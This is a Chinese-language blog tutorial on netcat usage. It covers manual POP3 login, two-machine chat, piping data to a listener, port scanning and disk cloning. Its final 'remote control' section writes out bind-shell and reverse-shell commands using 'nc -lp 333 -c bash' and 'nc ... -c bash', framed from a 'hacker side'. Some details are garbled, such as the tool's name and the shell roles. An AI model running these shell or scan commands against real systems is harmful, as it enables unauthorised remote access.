码迷,mamicode.com
首页 > 其他好文 > 详细

nc使用方法

时间:2018-11-02 21:36:32      阅读:1690      评论:0      收藏:0      [点我收藏+]

标签:垃圾邮件   用户名   一个   程序   形式   升级   远程登陆   user   应该   

Ncnetcut)

Numeric(数字的)   verbose(冗长的)  spam(垃圾邮件) port(端口)  filter (过滤器)

(Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器Telnet是常用的远程控制Web服务器的方法)

作用1 连接上服务器,进行操作

Eg1. ping pop3.163.com 得到其ip  

2. nc -vn 123.125.50.29 110  v参数是详细的 n参数是数字的(即ip地址,不能是dns),ip是刚刚ping到的pop3服务的ip 110是该服务监听的端口

3. 然后在另开一个终端,在上面输入base64 再输入邮箱账号,再ctrl+d,得到账号,

4. 在第一个终端上输入  USER 账号 等等操作

这是pop3的,smtp的端口是25http80端口

-q参数是只有发送者能加的(应该)

 

作用2 文本信息的传递

机器1  nc -l -p 1234 & netstat -an | grep 1234  

解释 -l listen-p port(端口号) 并且 查看该端口

机器2  nc -vn 机器1ip 机器1端口    

解释 连接上机器1

成功对话

 

升级:利用管道符将信息传输

机器2 nc -lp 端口号 > a.txt

机器1 ls -l | nc 机器2ip 机器2端口

 

作用3Nc 端口扫描

 

以客户端的形式出现

 

-z参数 zero i/0 used for scaning

 

Eg: nc -vnz 192.168.243.140 1-65535

 

一般情况下,nc探测的是tcp的端口

 

nc -vnzu 192.168.243.140 1-65535

 

作用4

Nc 远程硬盘克隆

基于硬件的

 

技术分享图片 

Nc 远程控制

(正向远程控制)

黑客端  nc -vn 192.168.243.140 333

被控制端 nc -lp 333 -c bash

或者(反向远程控制)

黑客端 nc -vn 192.168.243.140 333 -c bash(就像qq上的远程控制,请求别人来控制你)

被控制端 nc -lp 333

其中看对面是什么shell 用什么shell(应该) windowscmd

 

nc使用方法

标签:垃圾邮件   用户名   一个   程序   形式   升级   远程登陆   user   应该   

原文地址:https://www.cnblogs.com/lihaipeng/p/9898148.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!